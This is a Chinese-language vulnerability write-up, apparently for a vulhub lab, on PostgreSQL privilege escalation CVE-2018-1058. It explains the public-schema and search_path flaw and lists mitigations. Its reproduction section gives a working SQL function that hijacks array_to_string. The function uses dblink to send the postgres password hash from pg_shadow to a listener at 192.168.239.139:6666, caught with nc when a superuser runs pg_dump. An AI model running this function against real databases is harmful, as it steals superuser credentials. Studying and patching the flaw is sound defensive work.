Skip to content

Latest commit

 

History

History
82 lines (45 loc) · 3.3 KB

PostgreSQL 提权漏洞-CVE-2018-1058.md

File metadata and controls

82 lines (45 loc) · 3.3 KB

PostgreSQL 提权漏洞(CVE-2018-1058)

漏洞简介

PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。

漏洞影响版本

影响版本

9.3到10

产生原因

PostgreSQL7.3版本之后,默认情况下,当一个用户创建一个数据库时,PostgreSQL会创建一个叫做public的模式。默认情况下,所有的对象都会被创建到这个模式下。所以SELECT * FROM a; 就等价于 SELECT * FROM public.a;

如果不更改配置信息,任何用户都可以在public模式下创建对象。名字相同的对象可以在相同数据库的不同模式下存在。如果出现这种情况,而且没有指定特定的模式和对象(例如schema.object),那么PostgreSQL会基于search_path的设置来决定那个对象会被使用。

在该情况下,一个恶意用户可能会植入一个函数,它的功能是当被超级用户执行时,将更大的权限赋给这个恶意用户

漏洞复现

前提:需要获取PostgreSQL数据库账号密码,可通过配置文件获取

利用kali连接对方服务器

image-20220430180100242

执行如下语句后退出(向192.168.239.139的6666端口传送密码)

CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=192.168.239.139 port=6666 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

image-20220430180218159

kali监听6666,等待超级用户触发我们留下的这个“后门”。

nc -lvvp 6666

装自己是超级用户,docker中,用超级用户的身份执行pg_dump命令,导出vulhub这个数据库的内容。

docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub

执行上述命令的同时,“后门”已被触发

image-20220430180318324

kali中查看

image-20220430180359151

收到了postgres用户经md5加密后的密码,解密即可

修复方案

1、不允许用户在public模式下创建新的对象。 可以用超级用户,在所有的数据库中运行下面这条命令:

REVOKE CREATE ON SCHEMA public FROM PUBLIC; 1 这会阻止所有的非超级用户在public模式下创建对象。

2、为数据库用户设置默认的search_path。

一个超级用户可以向系统中的每个用户发出这条命令,来将public模式从用户默认的search_path中移除:

ALTER ROLE username SET search_path = "$user"; 1 3、在PostgreSQL的配置文件中设置默认的search_path。

也可以在postgresql.conf这个配置文件中将public模式从用户默认的search_path中移除。